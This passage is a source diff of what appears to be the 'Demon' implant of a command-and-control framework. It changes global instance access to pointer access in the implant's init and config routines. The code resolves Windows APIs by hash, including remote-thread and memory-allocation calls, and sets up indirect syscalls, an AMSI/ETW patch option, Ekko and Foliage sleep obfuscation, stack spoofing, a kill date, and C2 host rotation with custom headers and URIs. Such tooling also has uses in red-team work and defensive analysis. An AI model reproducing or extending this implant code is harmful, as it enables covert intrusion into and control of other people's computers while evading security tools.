LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_CONVERTFIBERTOTHREAD ); - Instance.Win32.CreateFiberEx = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_CREATEFIBEREX ); - Instance.Win32.ReadFile = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_READFILE ); - Instance.Win32.VirtualAllocEx = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_VIRTUALALLOCEX ); - Instance.Win32.WaitForSingleObjectEx = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_WAITFORSINGLEOBJECTEX ); - Instance.Win32.GetComputerNameExA = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_GETCOMPUTERNAMEEXA ); - Instance.Win32.GetExitCodeProcess = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_GETEXITCODEPROCESS ); - Instance.Win32.GetExitCodeThread = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_GETEXITCODETHREAD ); - Instance.Win32.TerminateProcess = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_TERMINATEPROCESS ); - Instance.Win32.ConvertThreadToFiberEx = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_CONVERTTHREADTOFIBEREX ); - Instance.Win32.SwitchToFiber = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_SWITCHTOFIBER ); - Instance.Win32.DeleteFiber = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_DELETEFIBER ); - Instance.Win32.AllocConsole = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_ALLOCCONSOLE ); - Instance.Win32.FreeConsole = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_FREECONSOLE ); - Instance.Win32.GetConsoleWindow = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_GETCONSOLEWINDOW ); - Instance.Win32.GetStdHandle = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_GETSTDHANDLE ); - Instance.Win32.SetStdHandle = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_SETSTDHANDLE ); - Instance.Win32.WaitNamedPipeW = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_WAITNAMEDPIPEW ); - Instance.Win32.PeekNamedPipe = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_PEEKNAMEDPIPE ); - Instance.Win32.DisconnectNamedPipe = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_DISCONNECTNAMEDPIPE ); - Instance.Win32.WriteFile = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_WRITEFILE ); - Instance.Win32.ConnectNamedPipe = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_CONNECTNAMEDPIPE ); - Instance.Win32.FreeLibrary = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_FREELIBRARY ); - Instance.Win32.GetCurrentDirectoryW = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_GETCURRENTDIRECTORYW ); - Instance.Win32.GetFileAttributesW = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_GETFILEATTRIBUTESW ); - Instance.Win32.FindFirstFileW = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_FINDFIRSTFILEW ); - Instance.Win32.FindNextFileW = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_FINDNEXTFILEW ); - Instance.Win32.FindClose = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_FINDCLOSE ); - Instance.Win32.FileTimeToSystemTime = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_FILETIMETOSYSTEMTIME ); - Instance.Win32.SystemTimeToTzSpecificLocalTime = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_SYSTEMTIMETOTZSPECIFICLOCALTIME ); - Instance.Win32.RemoveDirectoryW = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_REMOVEDIRECTORYW ); - Instance.Win32.DeleteFileW = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_DELETEFILEW ); - Instance.Win32.CreateDirectoryW = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_CREATEDIRECTORYW ); - Instance.Win32.CopyFileW = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_COPYFILEW ); - Instance.Win32.MoveFileExW = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_MOVEFILEEXW ); - Instance.Win32.SetCurrentDirectoryW = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_SETCURRENTDIRECTORYW ); - Instance.Win32.Wow64DisableWow64FsRedirection = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_WOW64DISABLEWOW64FSREDIRECTION ); - Instance.Win32.Wow64RevertWow64FsRedirection = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_WOW64REVERTWOW64FSREDIRECTION ); - Instance.Win32.GetModuleHandleA = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_GETMODULEHANDLEA ); - Instance.Win32.GetSystemTimeAsFileTime = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_GETSYSTEMTIMEASFILETIME ); - Instance.Win32.GetLocalTime = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_GETLOCALTIME ); - Instance.Win32.DuplicateHandle = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_DUPLICATEHANDLE ); - Instance.Win32.AttachConsole = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_ATTACHCONSOLE ); - Instance.Win32.WriteConsoleA = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_WRITECONSOLEA ); - Instance.Win32.GlobalFree = LdrFunctionAddr( Instance.Modules.Kernel32, H_FUNC_GLOBALFREE ); + if ( ( Instance->Modules.Kernel32 = LdrModulePeb( H_MODULE_KERNEL32 ) ) ) { + Instance->Win32.LoadLibraryW = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_LOADLIBRARYW ); + Instance->Win32.VirtualProtectEx = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_VIRTUALPROTECTEX ); + Instance->Win32.VirtualProtect = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_VIRTUALPROTECT ); + Instance->Win32.LocalAlloc = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_LOCALALLOC ); + Instance->Win32.LocalReAlloc = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_LOCALREALLOC ); + Instance->Win32.LocalFree = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_LOCALFREE ); + Instance->Win32.CreateRemoteThread = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_CREATEREMOTETHREAD ); + Instance->Win32.CreateToolhelp32Snapshot = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_CREATETOOLHELP32SNAPSHOT ); + Instance->Win32.Process32FirstW = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_PROCESS32FIRSTW ); + Instance->Win32.Process32NextW = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_PROCESS32NEXTW ); + Instance->Win32.CreatePipe = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_CREATEPIPE ); + Instance->Win32.CreateProcessW = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_CREATEPROCESSW ); + Instance->Win32.GetFullPathNameW = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_GETFULLPATHNAMEW ); + Instance->Win32.CreateFileW = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_CREATEFILEW ); + Instance->Win32.GetFileSize = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_GETFILESIZE ); + Instance->Win32.GetFileSizeEx = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_GETFILESIZEEX ); + Instance->Win32.CreateNamedPipeW = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_CREATENAMEDPIPEW ); + Instance->Win32.ConvertFiberToThread = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_CONVERTFIBERTOTHREAD ); + Instance->Win32.CreateFiberEx = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_CREATEFIBEREX ); + Instance->Win32.ReadFile = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_READFILE ); + Instance->Win32.VirtualAllocEx = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_VIRTUALALLOCEX ); + Instance->Win32.WaitForSingleObjectEx = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_WAITFORSINGLEOBJECTEX ); + Instance->Win32.GetComputerNameExA = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_GETCOMPUTERNAMEEXA ); + Instance->Win32.GetExitCodeProcess = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_GETEXITCODEPROCESS ); + Instance->Win32.GetExitCodeThread = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_GETEXITCODETHREAD ); + Instance->Win32.TerminateProcess = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_TERMINATEPROCESS ); + Instance->Win32.ConvertThreadToFiberEx = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_CONVERTTHREADTOFIBEREX ); + Instance->Win32.SwitchToFiber = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_SWITCHTOFIBER ); + Instance->Win32.DeleteFiber = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_DELETEFIBER ); + Instance->Win32.AllocConsole = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_ALLOCCONSOLE ); + Instance->Win32.FreeConsole = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_FREECONSOLE ); + Instance->Win32.GetConsoleWindow = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_GETCONSOLEWINDOW ); + Instance->Win32.GetStdHandle = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_GETSTDHANDLE ); + Instance->Win32.SetStdHandle = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_SETSTDHANDLE ); + Instance->Win32.WaitNamedPipeW = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_WAITNAMEDPIPEW ); + Instance->Win32.PeekNamedPipe = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_PEEKNAMEDPIPE ); + Instance->Win32.DisconnectNamedPipe = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_DISCONNECTNAMEDPIPE ); + Instance->Win32.WriteFile = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_WRITEFILE ); + Instance->Win32.ConnectNamedPipe = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_CONNECTNAMEDPIPE ); + Instance->Win32.FreeLibrary = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_FREELIBRARY ); + Instance->Win32.GetCurrentDirectoryW = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_GETCURRENTDIRECTORYW ); + Instance->Win32.GetFileAttributesW = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_GETFILEATTRIBUTESW ); + Instance->Win32.FindFirstFileW = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_FINDFIRSTFILEW ); + Instance->Win32.FindNextFileW = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_FINDNEXTFILEW ); + Instance->Win32.FindClose = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_FINDCLOSE ); + Instance->Win32.FileTimeToSystemTime = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_FILETIMETOSYSTEMTIME ); + Instance->Win32.SystemTimeToTzSpecificLocalTime = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_SYSTEMTIMETOTZSPECIFICLOCALTIME ); + Instance->Win32.RemoveDirectoryW = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_REMOVEDIRECTORYW ); + Instance->Win32.DeleteFileW = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_DELETEFILEW ); + Instance->Win32.CreateDirectoryW = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_CREATEDIRECTORYW ); + Instance->Win32.CopyFileW = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_COPYFILEW ); + Instance->Win32.MoveFileExW = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_MOVEFILEEXW ); + Instance->Win32.SetCurrentDirectoryW = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_SETCURRENTDIRECTORYW ); + Instance->Win32.Wow64DisableWow64FsRedirection = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_WOW64DISABLEWOW64FSREDIRECTION ); + Instance->Win32.Wow64RevertWow64FsRedirection = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_WOW64REVERTWOW64FSREDIRECTION ); + Instance->Win32.GetModuleHandleA = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_GETMODULEHANDLEA ); + Instance->Win32.GetSystemTimeAsFileTime = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_GETSYSTEMTIMEASFILETIME ); + Instance->Win32.GetLocalTime = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_GETLOCALTIME ); + Instance->Win32.DuplicateHandle = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_DUPLICATEHANDLE ); + Instance->Win32.AttachConsole = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_ATTACHCONSOLE ); + Instance->Win32.WriteConsoleA = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_WRITECONSOLEA ); + Instance->Win32.GlobalFree = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_GLOBALFREE ); } /* now that we loaded some of the basic apis lets parse the config and see how we load the rest */ @@ -460,10 +463,10 @@ VOID DemonInit( PVOID ModuleInst, PKAYN_ARGS KArgs ) DemonConfig(); /* now do post init stuff after parsing the config */ - if ( Instance.Config.Implant.SysIndirect ) + if ( Instance->Config.Implant.SysIndirect ) { /* Initialize indirect syscalls + get SSN from every single syscall we need */ - if ( ! SysInitialize( Instance.Modules.Ntdll ) ) { + if ( ! SysInitialize( Instance->Modules.Ntdll ) ) { PUTS( "Failed to Initialize syscalls" ) /* NOTE: the agent is going to keep going for now. */ } @@ -485,59 +488,59 @@ VOID DemonInit( PVOID ModuleInst, PKAYN_ARGS KArgs ) if ( KArgs ) { #if SHELLCODE - Instance.Session.ModuleBase = KArgs->Demon; - Instance.Session.ModuleSize = KArgs->DemonSize; - Instance.Session.TxtBase = KArgs->TxtBase; - Instance.Session.TxtSize = KArgs->TxtSize; + Instance->Session.ModuleBase = KArgs->Demon; + Instance->Session.ModuleSize = KArgs->DemonSize; + Instance->Session.TxtBase = KArgs->TxtBase; + Instance->Session.TxtSize = KArgs->TxtSize; FreeReflectiveLoader( KArgs->KaynLdr ); #endif } else { - Instance.Session.ModuleBase = ModuleInst; + Instance->Session.ModuleBase = ModuleInst; /* if ModuleBase has not been specified then lets use the current process one */ - if ( ! Instance.Session.ModuleBase ) { + if ( ! Instance->Session.ModuleBase ) { /* if we specified nothing as our ModuleBase then this either means that we are an exe or we should use the whole process */ - Instance.Session.ModuleBase = LdrModulePeb( 0 ); + Instance->Session.ModuleBase = LdrModulePeb( 0 ); } - if ( Instance.Session.ModuleBase ) { - Instance.Session.ModuleSize = IMAGE_SIZE( Instance.Session.ModuleBase ); + if ( Instance->Session.ModuleBase ) { + Instance->Session.ModuleSize = IMAGE_SIZE( Instance->Session.ModuleBase ); } } #if _WIN64 - Instance.Session.OS_Arch = PROCESSOR_ARCHITECTURE_AMD64; - Instance.Session.Process_Arch = PROCESSOR_ARCHITECTURE_AMD64; + Instance->Session.OS_Arch = PROCESSOR_ARCHITECTURE_AMD64; + Instance->Session.Process_Arch = PROCESSOR_ARCHITECTURE_AMD64; #else - Instance.Session.Process_Arch = PROCESSOR_ARCHITECTURE_INTEL; - Instance.Session.OS_Arch = PROCESSOR_ARCHITECTURE_UNKNOWN; + Instance->Session.Process_Arch = PROCESSOR_ARCHITECTURE_INTEL; + Instance->Session.OS_Arch = PROCESSOR_ARCHITECTURE_UNKNOWN; if ( ProcessIsWow( NtCurrentProcess() ) ) { - Instance.Session.OS_Arch = PROCESSOR_ARCHITECTURE_AMD64; + Instance->Session.OS_Arch = PROCESSOR_ARCHITECTURE_AMD64; } else { - Instance.Session.OS_Arch = PROCESSOR_ARCHITECTURE_INTEL; + Instance->Session.OS_Arch = PROCESSOR_ARCHITECTURE_INTEL; } #endif - Instance.Session.PID = U_PTR( Instance.Teb->ClientId.UniqueProcess ); - Instance.Session.TID = U_PTR( Instance.Teb->ClientId.UniqueThread ); - Instance.Session.Connected = FALSE; - Instance.Session.AgentID = RandomNumber32(); - Instance.Config.AES.Key = NULL; /* TODO: generate keys here */ - Instance.Config.AES.IV = NULL; + Instance->Session.PID = U_PTR( Instance->Teb->ClientId.UniqueProcess ); + Instance->Session.TID = U_PTR( Instance->Teb->ClientId.UniqueThread ); + Instance->Session.Connected = FALSE; + Instance->Session.AgentID = RandomNumber32(); + Instance->Config.AES.Key = NULL; /* TODO: generate keys here */ + Instance->Config.AES.IV = NULL; /* Linked lists */ - Instance.Tokens.Vault = NULL; - Instance.Tokens.Impersonate = FALSE; - Instance.Jobs = NULL; - Instance.Downloads = NULL; - Instance.Sockets = NULL; - Instance.HwBpEngine = NULL; - Instance.Packages = NULL; + Instance->Tokens.Vault = NULL; + Instance->Tokens.Impersonate = FALSE; + Instance->Jobs = NULL; + Instance->Downloads = NULL; + Instance->Sockets = NULL; + Instance->HwBpEngine = NULL; + Instance->Packages = NULL; /* Global Objects */ - Instance.Dotnet = NULL; + Instance->Dotnet = NULL; /* if cfg is enforced (and if sleep obf is enabled) * add every address we're going to use to the Cfg address list @@ -547,24 +550,24 @@ VOID DemonInit( PVOID ModuleInst, PKAYN_ARGS KArgs ) PUTS( "Adding required function module &addresses to the cfg list" ); /* common functions */ - CfgAddressAdd( Instance.Modules.Ntdll, Instance.Win32.NtContinue ); - CfgAddressAdd( Instance.Modules.Ntdll, Instance.Win32.NtSetContextThread ); - CfgAddressAdd( Instance.Modules.Ntdll, Instance.Win32.NtGetContextThread ); - CfgAddressAdd( Instance.Modules.Advapi32, Instance.Win32.SystemFunction032 ); + CfgAddressAdd( Instance->Modules.Ntdll, Instance->Win32.NtContinue ); + CfgAddressAdd( Instance->Modules.Ntdll, Instance->Win32.NtSetContextThread ); + CfgAddressAdd( Instance->Modules.Ntdll, Instance->Win32.NtGetContextThread ); + CfgAddressAdd( Instance->Modules.Advapi32, Instance->Win32.SystemFunction032 ); /* ekko sleep obf */ - CfgAddressAdd( Instance.Modules.Kernel32, Instance.Win32.WaitForSingleObjectEx ); - CfgAddressAdd( Instance.Modules.Kernel32, Instance.Win32.VirtualProtect ); - CfgAddressAdd( Instance.Modules.Ntdll, Instance.Win32.NtSetEvent ); + CfgAddressAdd( Instance->Modules.Kernel32, Instance->Win32.WaitForSingleObjectEx ); + CfgAddressAdd( Instance->Modules.Kernel32, Instance->Win32.VirtualProtect ); + CfgAddressAdd( Instance->Modules.Ntdll, Instance->Win32.NtSetEvent ); /* foliage sleep obf */ - CfgAddressAdd( Instance.Modules.Ntdll, Instance.Win32.NtTestAlert ); - CfgAddressAdd( Instance.Modules.Ntdll, Instance.Win32.NtWaitForSingleObject ); - CfgAddressAdd( Instance.Modules.Ntdll, Instance.Win32.NtProtectVirtualMemory ); - CfgAddressAdd( Instance.Modules.Ntdll, Instance.Win32.RtlExitUserThread ); + CfgAddressAdd( Instance->Modules.Ntdll, Instance->Win32.NtTestAlert ); + CfgAddressAdd( Instance->Modules.Ntdll, Instance->Win32.NtWaitForSingleObject ); + CfgAddressAdd( Instance->Modules.Ntdll, Instance->Win32.NtProtectVirtualMemory ); + CfgAddressAdd( Instance->Modules.Ntdll, Instance->Win32.RtlExitUserThread ); } - PRINTF( "Instance DemonID => %x\n", Instance.Session.AgentID ) + PRINTF( "Instance DemonID => %x\n", Instance->Session.AgentID ) } VOID DemonConfig() @@ -580,46 +583,47 @@ VOID DemonConfig() ParserNew( &Parser, AgentConfig, sizeof( AgentConfig ) ); RtlSecureZeroMemory( AgentConfig, sizeof( AgentConfig ) ); - Instance.Config.Sleeping = ParserGetInt32( &Parser ); - Instance.Config.Jitter = ParserGetInt32( &Parser ); - PRINTF( "Sleep: %d (%d%%)\n", Instance.Config.Sleeping, Instance.Config.Jitter ) + Instance->Config.Sleeping = ParserGetInt32( &Parser ); + Instance->Config.Jitter = ParserGetInt32( &Parser ); + PRINTF( "Sleep: %d (%d%%)\n", Instance->Config.Sleeping, Instance->Config.Jitter ) - Instance.Config.Memory.Alloc = ParserGetInt32( &Parser ); - Instance.Config.Memory.Execute = ParserGetInt32( &Parser ); + Instance->Config.Memory.Alloc = ParserGetInt32( &Parser ); + Instance->Config.Memory.Execute = ParserGetInt32( &Parser ); PRINTF( "[CONFIG] Memory: \n" " - Allocate: %d \n" " - Execute : %d \n", - Instance.Config.Memory.Alloc, - Instance.Config.Memory.Execute + Instance->Config.Memory.Alloc, + Instance->Config.Memory.Execute ) Buffer = ParserGetBytes( &Parser, &Length ); - Instance.Config.Process.Spawn64 = Instance.Win32.LocalAlloc( LPTR, Length ); - MemCopy( Instance.Config.Process.Spawn64, Buffer, Length ); + Instance->Config.Process.Spawn64 = Instance->Win32.LocalAlloc( LPTR, Length ); + MemCopy( Instance->Config.Process.Spawn64, Buffer, Length ); Buffer = ParserGetBytes( &Parser, &Length ); - Instance.Config.Process.Spawn86 = Instance.Win32.LocalAlloc( LPTR, Length ); - MemCopy( Instance.Config.Process.Spawn86, Buffer, Length ); + Instance->Config.Process.Spawn86 = Instance->Win32.LocalAlloc( LPTR, Length ); + MemCopy( Instance->Config.Process.Spawn86, Buffer, Length ); PRINTF( "[CONFIG] Spawn: \n" " - [x64] => %ls \n" " - [x86] => %ls \n", - Instance.Config.Process.Spawn64, - Instance.Config.Process.Spawn86 + Instance->Config.Process.Spawn64, + Instance->Config.Process.Spawn86 ) - Instance.Config.Implant.SleepMaskTechnique = ParserGetInt32( &Parser ); - Instance.Config.Implant.StackSpoof = ParserGetInt32( &Parser ); - Instance.Config.Implant.ProxyLoading = ParserGetInt32( &Parser ); - Instance.Config.Implant.SysIndirect = ParserGetInt32( &Parser ); - Instance.Config.Implant.AmsiEtwPatch = ParserGetInt32( &Parser ); + Instance->Config.Implant.SleepMaskTechnique = ParserGetInt32( &Parser ); + Instance->Config.Implant.SleepJmpBypass = ParserGetInt32( &Parser ); + Instance->Config.Implant.StackSpoof = ParserGetInt32( &Parser ); + Instance->Config.Implant.ProxyLoading = ParserGetInt32( &Parser ); + Instance->Config.Implant.SysIndirect = ParserGetInt32( &Parser ); + Instance->Config.Implant.AmsiEtwPatch = ParserGetInt32( &Parser ); #ifdef TRANSPORT_HTTP - Instance.Config.Implant.DownloadChunkSize = 0x80000; /* 512k */ + Instance->Config.Implant.DownloadChunkSize = 0x80000; /* 512k */ #else - Instance.Config.Implant.DownloadChunkSize = 0xfc00; /* 63k, needs to be less than PIPE_BUFFER_MAX */ + Instance->Config.Implant.DownloadChunkSize = 0xfc00; /* 63k, needs to be less than PIPE_BUFFER_MAX */ #endif PRINTF( @@ -629,34 +633,34 @@ VOID DemonConfig() "[CONFIG] ProxyLoading: %d\n" "[CONFIG] SysIndirect : %s\n" "[CONFIG] AmsiEtwPatch: %d\n", - Instance.Config.Implant.SleepMaskTechnique, - Instance.Config.Implant.StackSpoof ? "TRUE" : "FALSE", - Instance.Config.Implant.ProxyLoading, - Instance.Config.Implant.SysIndirect ? "TRUE" : "FALSE", - Instance.Config.Implant.AmsiEtwPatch + Instance->Config.Implant.SleepMaskTechnique, + Instance->Config.Implant.StackSpoof ? "TRUE" : "FALSE", + Instance->Config.Implant.ProxyLoading, + Instance->Config.Implant.SysIndirect ? "TRUE" : "FALSE", + Instance->Config.Implant.AmsiEtwPatch ) #ifdef TRANSPORT_HTTP - Instance.Config.Transport.KillDate = ParserGetInt64( &Parser ); - PRINTF( "KillDate: %d\n", Instance.Config.Transport.KillDate ) + Instance->Config.Transport.KillDate = ParserGetInt64( &Parser ); + PRINTF( "KillDate: %d\n", Instance->Config.Transport.KillDate ) // check if the kill date has already passed - if ( Instance.Config.Transport.KillDate && GetSystemFileTime() >= Instance.Config.Transport.KillDate ) + if ( Instance->Config.Transport.KillDate && GetSystemFileTime() >= Instance->Config.Transport.KillDate ) { // refuse to run // TODO: exit process? - Instance.Win32.RtlExitUserThread( 0 ); + Instance->Win32.RtlExitUserThread( 0 ); } - Instance.Config.Transport.WorkingHours = ParserGetInt32( &Parser ); + Instance->Config.Transport.WorkingHours = ParserGetInt32( &Parser ); Buffer = ParserGetBytes( &Parser, &Length ); - Instance.Config.Transport.Method = MmHeapAlloc( Length + sizeof( WCHAR ) ); - MemCopy( Instance.Config.Transport.Method, Buffer, Length ); + Instance->Config.Transport.Method = MmHeapAlloc( Length + sizeof( WCHAR ) ); + MemCopy( Instance->Config.Transport.Method, Buffer, Length ); - Instance.Config.Transport.HostRotation = ParserGetInt32( &Parser ); - Instance.Config.Transport.HostMaxRetries = 0; /* Max retries. 0 == infinite retrying + Instance->Config.Transport.HostRotation = ParserGetInt32( &Parser ); + Instance->Config.Transport.HostMaxRetries = 0; /* Max retries. 0 == infinite retrying * TODO: add this to the yaotl language and listener GUI */ - Instance.Config.Transport.Hosts = NULL; - Instance.Config.Transport.Host = NULL; + Instance->Config.Transport.Hosts = NULL; + Instance->Config.Transport.Host = NULL; /* J contains our Hosts counter */ J = ParserGetInt32( &Parser ); @@ -674,84 +678,84 @@ VOID DemonConfig() HostAdd( Buffer, Length, Temp ); } } - Instance.Config.Transport.NumHosts = HostCount(); - PRINTF( "Hosts added => %d\n", Instance.Config.Transport.NumHosts ) + Instance->Config.Transport.NumHosts = HostCount(); + PRINTF( "Hosts added => %d\n", Instance->Config.Transport.NumHosts ) /* Get Host data based on our host rotation strategy */ - Instance.Config.Transport.Host = HostRotation( Instance.Config.Transport.HostRotation ); - PRINTF( "Host going to be used is => %ls:%ld\n", Instance.Config.Transport.Host->Host, Instance.Config.Transport.Host->Port ) + Instance->Config.Transport.Host = HostRotation( Instance->Config.Transport.HostRotation ); + PRINTF( "Host going to be used is => %ls:%ld\n", Instance->Config.Transport.Host->Host, Instance->Config.Transport.Host->Port ) // Listener Secure (SSL) - Instance.Config.Transport.Secure = ParserGetInt32( &Parser ); - PRINTF( "[CONFIG] Secure: %s\n", Instance.Config.Transport.Secure ? "TRUE" : "FALSE" ); + Instance->Config.Transport.Secure = ParserGetInt32( &Parser ); + PRINTF( "[CONFIG] Secure: %s\n", Instance->Config.Transport.Secure ? "TRUE" : "FALSE" ); // UserAgent Buffer = ParserGetBytes( &Parser, &Length ); - Instance.Config.Transport.UserAgent = MmHeapAlloc( Length + sizeof( WCHAR ) ); - MemCopy( Instance.Config.Transport.UserAgent, Buffer, Length ); - PRINTF( "[CONFIG] UserAgent: %ls\n", Instance.Config.Transport.UserAgent ); + Instance->Config.Transport.UserAgent = MmHeapAlloc( Length + sizeof( WCHAR ) ); + MemCopy( Instance->Config.Transport.UserAgent, Buffer, Length ); + PRINTF( "[CONFIG] UserAgent: %ls\n", Instance->Config.Transport.UserAgent ); // Headers J = ParserGetInt32( &Parser ); - Instance.Config.Transport.Headers = MmHeapAlloc( sizeof( LPWSTR ) * ( ( J + 1 ) * 2 ) ); + Instance->Config.Transport.Headers = MmHeapAlloc( sizeof( LPWSTR ) * ( ( J + 1 ) * 2 ) ); PRINTF( "[CONFIG] Headers [%d]:\n", J ); for ( INT i = 0; i < J; i++ ) { Buffer = ParserGetBytes( &Parser, &Length ); - Instance.Config.Transport.Headers[ i ] = MmHeapAlloc( Length + sizeof( WCHAR ) ); - MemSet( Instance.Config.Transport.Headers[ i ], 0, Length ); - MemCopy( Instance.Config.Transport.Headers[ i ], Buffer, Length ); + Instance->Config.Transport.Headers[ i ] = MmHeapAlloc( Length + sizeof( WCHAR ) ); + MemSet( Instance->Config.Transport.Headers[ i ], 0, Length ); + MemCopy( Instance->Config.Transport.Headers[ i ], Buffer, Length ); #ifdef DEBUG - PRINTF( " - %ls\n", Instance.Config.Transport.Headers[ i ] ); + PRINTF( " - %ls\n", Instance->Config.Transport.Headers[ i ] ); #endif } - Instance.Config.Transport.Headers[ J + 1 ] = NULL; + Instance->Config.Transport.Headers[ J + 1 ] = NULL; // Uris J = ParserGetInt32( &Parser ); - Instance.Config.Transport.Uris = MmHeapAlloc( sizeof( LPWSTR ) * ( ( J + 1 ) * 2 ) ); + Instance->Config.Transport.Uris = MmHeapAlloc( sizeof( LPWSTR ) * ( ( J + 1 ) * 2 ) ); PRINTF( "[CONFIG] Uris [%d]:\n", J ); for ( INT i = 0; i < J; i++ ) { Buffer = ParserGetBytes( &Parser, &Length ); - Instance.Config.Transport.Uris[ i ] = MmHeapAlloc( Length + sizeof( WCHAR ) ); - MemSet( Instance.Config.Transport.Uris[ i ], 0, Length + sizeof( WCHAR ) ); - MemCopy( Instance.Config.Transport.Uris[ i ], Buffer, Length ); + Instance->Config.Transport.Uris[ i ] = MmHeapAlloc( Length + sizeof( WCHAR ) ); + MemSet( Instance->Config.Transport.Uris[ i ], 0, Length + sizeof( WCHAR ) ); + MemCopy( Instance->Config.Transport.Uris[ i ], Buffer, Length ); #ifdef DEBUG - PRINTF( " - %ls\n", Instance.Config.Transport.Uris[ i ] ); + PRINTF( " - %ls\n", Instance->Config.Transport.Uris[ i ] ); #endif } - 